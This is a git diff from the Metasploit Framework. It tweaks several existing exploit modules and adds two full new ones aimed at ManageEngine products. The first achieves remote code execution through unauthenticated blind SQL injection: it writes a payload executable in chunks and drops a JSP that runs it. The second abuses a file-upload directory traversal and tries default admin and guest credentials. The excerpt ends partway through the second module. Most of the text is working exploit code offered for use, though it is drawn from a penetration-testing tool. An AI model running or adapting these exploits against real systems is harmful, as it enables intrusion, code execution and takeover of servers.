@uri.path = normalize_uri(@uri.path) @@ -145,6 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown) if not res @cookie = nil + @crumb = nil if res.code != 200 print_status('Logging in...') res = send_request_cgi({ @@ -159,17 +160,25 @@ class Metasploit3 < Msf::Exploit::Remote }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ - fail_with(Failure::NoAccess, 'login failed') + fail_with(Failure::NoAccess, 'Login failed') end - sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0] + sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" + + res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie}) + fail_with(Failure::Unknown) unless res and res.code == 200 else print_status('No authentication required, skipping login...') end + if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) + print_status("Using CSRF token: '#{$1}'"); + @crumb = $1; + end + case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 022a6c4476..ec577eb1d3 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index fc1b6cdac2..461378195c 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 154c2917ab..c7b8ba285e 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote handler end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb new file mode 100644 index 0000000000..6daccce5c0 --- /dev/null +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -0,0 +1,634 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/file_dropper' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", + 'Description' => %q{ + This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, + which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and + Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The + SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as + the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older + or upgraded builds). MySQL targets are more reliable due to the use of relative paths; + with PostgreSQL you should find the web root path via other means and specify it with + WEB_ROOT. + + The injection is only exploitable via a GET request, which means that the payload + has to be sent in chunks smaller than 8000 characters (URL size limitation). Small + payloads and the use of exe-small is recommended, as you can only do between 10 and + 20 injections before using up all the available ManagedConnections until the next + server restart. + + This vulnerability exists in all versions released since 2006, however builds below + DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your + luck using the MySQL targets as a JDK might be installed in the $PATH. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'References' => + [ + [ 'CVE', '2014-3996' ], + [ 'OSVDB', '110198' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ] + ], + 'Arch' => ARCH_X86, + 'Platform' => %w{ linux win }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows', + { + 'WebRoot' => '../../webapps/DesktopCentral/', + 'Database' => 'mysql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows', + { + 'WebRoot' => '../../webapps/PassTrix/', + 'Database' => 'mysql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux', + { + 'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/', + 'Database' => 'postgresql', + 'Platform' => 'linux' + } + ], + [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux', + { + 'WebRoot' => '../../webapps/PassTrix/', + 'Database' => 'mysql', + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'DisclosureDate' => "Jun 8 2014")) + + register_options( + [ + OptPort.new('RPORT', + [true, 'The target port', 8020]), + OptString.new('WEB_ROOT', + [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('CHUNK_SIZE', + [true, 'Number of characters to send per request (< 7800)', 7500]), + OptInt.new('SLEEP', + [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), + OptBool.new('EXE_SMALL', + [true, 'Use exe-small encoding for better reliability', true]), + ], self.class) + + end + + def check + check_code = check_desktop_central + + if check_code == Exploit::CheckCode::Unknown + check_code = check_password_manager_pro + end + + check_code + end + + def exploit + @my_target = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case to avoid polluting the web root any more. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + if datastore['WEB_ROOT'] + web_root = datastore['WEB_ROOT'] + else + web_root = @my_target['WebRoot'] + end + + jsp_name = rand_text_alpha_lower(8) + ".jsp" + fullpath = web_root + jsp_name + inject_exec(fullpath) + register_file_for_cleanup(fullpath.sub('../','')) + + print_status("#{peer} - Requesting #{jsp_name}") + send_request_raw({'uri' => normalize_uri(jsp_name)}) + end + + # Test for Password Manager Pro + def password_manager_paths + db_paths = {} + + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/ + if datastore['WEB_ROOT'] + db_paths[:postgresql] = datastore['WEB_ROOT'].dup + db_paths[:mysql] = datastore['WEB_ROOT'].dup + else + db_paths[:postgresql] = targets[4]['WebRoot'].dup + db_paths[:mysql] = targets[5]['WebRoot'].dup + end + end + + db_paths + end + + # Test for Desktop Central + def desktop_central_db_paths + db_paths = {} + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/ + if datastore['WEB_ROOT'] + db_paths[:postgresql] = datastore['WEB_ROOT'].dup + db_paths[:mysql] = datastore['WEB_ROOT'].dup + elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/ + db_paths[:postgresql] = targets[2]['WebRoot'].dup + db_paths[:mysql] = targets[3]['WebRoot'].dup + else + db_paths[:postgresql] = targets[1]['WebRoot'].dup + db_paths[:mysql] = targets[3]['WebRoot'].dup + end + end + + db_paths + end + + def db_paths + paths = desktop_central_db_paths + + if paths.empty? + paths = password_manager_paths + end + + paths + end + + def pick_mysql_target(mysql_path, rand_txt) + file_path = mysql_path << rand_txt + + # @@version_compile_os will give us Win32 / Win64 if it's a Windows target + inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 + register_file_for_cleanup(file_path.sub('../','')) + if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/ + if mysql_path =~ /DesktopCentral/ + # Desktop Central [MSP] / MySQL / Windows + return targets[3] + else + # Password Manager Pro / MySQL / Windows + return targets[5] + end + else + # Password Manager Pro / MySQL / Linux + return targets[7] + end + end + + nil + end + + def pick_postgres_target(postgresql_path, rand_txt) + file_path = postgresql_path << rand_txt + + # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux) + inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 + register_file_for_cleanup(file_path) + if res.body.to_s =~ /Visual C++/ + if postgresql_path =~ /DesktopCentral_Server/ + # Desktop Central / PostgreSQL / Windows + return targets[1] + elsif postgresql_path =~ /DesktopCentralMSP_Server/ + # Desktop Central MSP / PostgreSQL / Windows + return targets[2] + else + # Password Manager Pro / PostgreSQL / Windows + return targets[4] + end + elsif res.body.to_s =~ /linux/ + # This is for the case when WEB_ROOT is provided + # Password Manager Pro / PostgreSQL / Linux + return targets[6] + end + end + + # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and + # no WEB_ROOT was provided. Let's try one of the defaults before bailing out. + file_path = targets[5]['WebRoot'].dup << rand_txt + inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /linux/ + # Password Manager Pro / PostgreSQL / Linux + return targets[6] + end + + nil + end + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Selecting target, this might take a few seconds...") + rand_txt = rand_text_alpha_lower(8) << ".txt" + + paths = db_paths + + if paths.empty? + # We don't know what this is, bail + return nil + end + + postgresql_path = paths[:postgresql] + mysql_path = paths[:mysql] + + # try MySQL first, there are probably more of these out there + mysql_target = pick_mysql_target(mysql_path, rand_txt) + + unless mysql_target.nil? + return mysql_target + end + + # didn't work, let's try PostgreSQL + postgresql_target = pick_postgres_target(postgresql_path, rand_txt) + + postgresql_target + end + + # + # Creates the JSP that will assemble the payload on the server + # + def generate_jsp_encoded(files) + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + var_files = rand_text_alpha(rand(8) + 3) + var_ch = rand_text_alpha(rand(8) + 3) + var_istream = rand_text_alpha(rand(8) + 3) + var_file = rand_text_alpha(rand(8) + 3) + + files_decl = "{ " + files.each { |file| files_decl << "\"#{file}\"," } + files_decl[-1] = "}" + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + String[] #{var_files} = #{files_decl}; + try { + int #{var_ch}; + StringBuilder #{var_buf} = new StringBuilder(); + for (String #{var_file} : #{var_files}) { + BufferedInputStream #{var_istream} = + new BufferedInputStream(new FileInputStream(#{var_file})); + while((#{var_ch} = #{var_istream}.read())!= -1) + #{var_buf}.append((char)#{var_ch}); + #{var_istream}.close(); + } + + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + + if @my_target['Database'] == 'postgresql' + # Ruby's base64 encoding adds newlines at every 60 chars, strip them + [jsp].pack("m*").gsub(/\n/, '') + else + # Assuming mysql, applying hex encoding instead + jsp.unpack("H*")[0] + end + end + + + def inject_sql(sqli_command, target = nil) + target = (target == nil) ? @my_target['Database'] : target + if target == 'postgresql' + sqli_prefix = "viewname\";" + sqli_suffix = ";-- " + else + # Assuming mysql + sqli_prefix = "viewname\" union " + sqli_suffix = "#" + end + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("LinkViewFetchServlet.dat"), + 'vars_get' => { + 'sv' => sqli_prefix << sqli_command << sqli_suffix + } + }) + + if target == 'postgresql' + # PostgreSQL sometimes takes a while to write to the disk, so sleep more + sleep(datastore['SLEEP'] * 2.5) + else + # Assuming mysql + sleep(datastore['SLEEP']) + end + end + + # Generate the actual payload + def generate_exe_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win' + exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform, + payload.encoded, "exe-small", opts) + else + exe = generate_payload_exe(opts) + end + Rex::Text.encode_base64(exe) + end + + # Uploads the payload in chunks + def inject_exec(fullpath) + base64_exe = generate_exe_payload + base64_exe_len = base64_exe.length + + # We will be injecting in CHUNK_SIZE steps + chunk_size = datastore['CHUNK_SIZE'] + copied = 0 + counter = 0 + if base64_exe_len < chunk_size + chunk_size = base64_exe_len + end + chunks = (base64_exe_len.to_f / chunk_size).ceil + time = chunks * datastore['SLEEP'] * + ((@my_target['Database'] == 'postgresql') ? 2.5 : 1) + + # We dump our files in either C:\Windows\system32 or /tmp + # It's not very clean, but when using a MySQL target we have no other choice + # as we are using relative paths for injection. + # The Windows path has to be escaped with 4 backslashes because ruby eats one + # and the JSP eats the other. + files = Array.new(chunks) + files.map! do |file| + if @my_target['Platform'] == 'win' + file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3) + else + # Assuming Linux, let's hope we can write to /tmp + file = "/tmp/" + rand_text_alpha(rand(8)+3) + end + end + + print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds") + + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") + else + # Assuming mysql + inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") + end + register_file_for_cleanup(files[counter]) + copied += chunk_size + counter += 1 + + while copied < base64_exe_len + if (copied + chunk_size) > base64_exe_len + # Last loop + chunk_size = base64_exe_len - copied + end + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") + else + # Assuming mysql + inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") + end + register_file_for_cleanup(files[counter]) + copied += chunk_size + counter += 1 + end + + jsp_encoded = generate_jsp_encoded(files) + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'") + else + inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'") + end + end + + def check_desktop_central_8(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + if ver_gt(build, '80200') + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else + print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") + end + else + print_status("#{peer} - Detected Desktop Central v8 (MySQL)") + end + # DC v8 < 80200 uses the MySQL database + Exploit::CheckCode::Appears + end + + def check_desktop_central_9(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + print_status("#{peer} - Detected Desktop Central v9 #{build}") + if ver_lt(build, '90039') + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + end + + # Test for Desktop Central + def check_desktop_central + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + unless res && res.code == 200 + return Exploit::CheckCode::Unknown + end + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ + # DC v7 uses the MySQL database + print_status("#{peer} - Detected Desktop Central v7 (MySQL)") + return Exploit::CheckCode::Appears + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + return check_desktop_central_8(res.body.to_s) + elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ + return check_desktop_central_9(res.body.to_s) + end + + Exploit::CheckCode::Unknown + end + + # Test for Password Manager Pro + def check_password_manager_pro + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + + if res && res.code == 200 && + res.body.to_s =~ /ManageEngine Password Manager Pro/ && + ( + res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 + res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 + res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 + ) + build = $1 + else + return Exploit::CheckCode::Unknown + end + + + if ver_lt_eq(build, '6500') + # if it's a build below 6500, it will only work if we have a JSP compiler + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)") + return Exploit::CheckCode::Detected + elsif ver_lt(build, '6800') + # PMP v6 < 6800 uses the MySQL database + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") + return Exploit::CheckCode::Appears + elsif ver_lt(build, '7003') + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + return Exploit::CheckCode::Appears + else + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + Exploit::CheckCode::Safe + end + end + + def ver_lt(a, b) + Gem::Version.new(a) < Gem::Version.new(b) + end + + def ver_lt_eq(a, b) + Gem::Version.new(a) <= Gem::Version.new(b) + end + + def ver_gt_eq(a, b) + Gem::Version.new(a) >= Gem::Version.new(b) + end + + def ver_gt(a, b) + Gem::Version.new(a) > Gem::Version.new(b) + end +end diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb new file mode 100644 index 0000000000..5280c8f0a3 --- /dev/null +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -0,0 +1,437 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, + AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts + the upload does not handle correctly '../' sequences, which can be abused to write + to the file system. Authentication is needed to exploit this vulnerability, but this module + will attempt to login using the default credentials for the administrator and guest + accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password. + For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All + versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, + SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this + module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been + been tested successfully in Windows and Linux on several versions. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5301'], + ['OSVDB', '116733'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', + { + 'attachment_path' => '/workorder/Attachment.jsp' + } + ], + [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ], + [ 'IT360 v8-v10.4', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 15 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('JSESSIONID', + [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), + OptString.new('IAMAGENTTICKET', + [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', + [true, 'The username to login as', 'guest']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'guest']), + OptString.new('DOMAIN_NAME', + [false, 'Name of the domain to logon to']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) + version = [ 9999, 9999, 0, 'sd' ] + + if res && res.code == 200 + if res.body.to_s =~ /ManageEngine ServiceDesk/ + if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ + output = $1 + version = [output[0].to_i, output[2].to_i, '0', 'sd'] + end + if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds + version[2] = $1.to_i + elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds + version[2] = $1.to_i + end + elsif res.body.to_s =~ /ManageEngine AssetExplorer/ + if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || + res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ + output = $1 + version = [output[0].to_i, output[2].to_i, 0, 'ae'] + end + if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ + version[2] = $1.to_i + end + elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ + # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version + version[3] = 'sc' + if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ + # ... but get the build number if we can find it + version[2] = $1.to_i + end + elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ + # IT360 newer versions + version[3] = 'it' + end + elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + # IT360 older versions, not a very good detection string but there is no alternative? + version[3] = 'it' + end + + version + end + + + def check + version = get_version + # TODO: put fixed version on the two ifs below once (if...) products are fixed + # sd was fixed on build 9031 + # ae and sc still not fixed + if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || + (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || + (version[3] == 'sc' && version[2] < 99999) + return Exploit::CheckCode::Appears + end + + if (version[2] > 9030 && version[3] == 'sd') || + (version[2] > 99999 && version[3] == 'ae') || + (version[2] > 99999 && version[3] == 'sc') + return Exploit::CheckCode::Safe + else + # An IT360 check always lands here, there is no way to get the version easily + return Exploit::CheckCode::Unknown + end + end + + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'] == nil + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => 'ServiceDesk', + 'furl' => '/', + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + else + return nil + end + end + + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("/") + }) + cookie = res.get_cookies + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + if datastore['IAMAGENTTICKET'] + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + + if cookie != nil + return cookie + elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil + # we've tried with the default guest password, now let's try with the default admin password + cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') + if cookie != nil + return cookie + else + # Try one more time with the default admin login for some versions + cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') + if cookie != nil + return cookie + end + end + end + + nil + end + + + # + # Authenticate and validate our session cookie. We need to submit credentials to + # j_security_check and then follow the redirect to HomePage.do to create a valid + # authenticated session. + # + def authenticate(cookie, username, password) + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => { + 'j_username' => username, + 'j_password' => password, + 'logonDomainName' => datastore['DOMAIN_NAME'] + } + }) + if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) + # sd and ae respond with 302 while sc responds with a 200 + return true + else + return false + end + end + + + def login + # Do we already have a valid cookie? If yes, just return that. + if datastore['JSESSIONID'] != nil + cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' + return cookie + end + + # First we get a valid JSESSIONID to pass to authenticate() + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + if res && res.code == 200 + cookie = res.get_cookies + authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) + if authenticated + return cookie + elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil + # we've tried with the default guest password, now let's try with the default admin password + authenticated = authenticate(cookie, 'administrator', 'administrator') + if authenticated + return cookie + else + # Try one more time with the default admin login for some versions + authenticated = authenticate(cookie, 'admin', 'admin') + if authenticated + return cookie + end + end + end + end + + nil + end + + + def send_multipart_request(cookie, payload_name, payload_str) + if payload_name =~ /\.ear/ + upload_path = '../../server/default/deploy' + else + upload_path = rand_text_alpha(4+rand(4)) + end + + post_data = Rex::MIME::Message.new + + if @my_target == targets[1] + # old style + post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") + 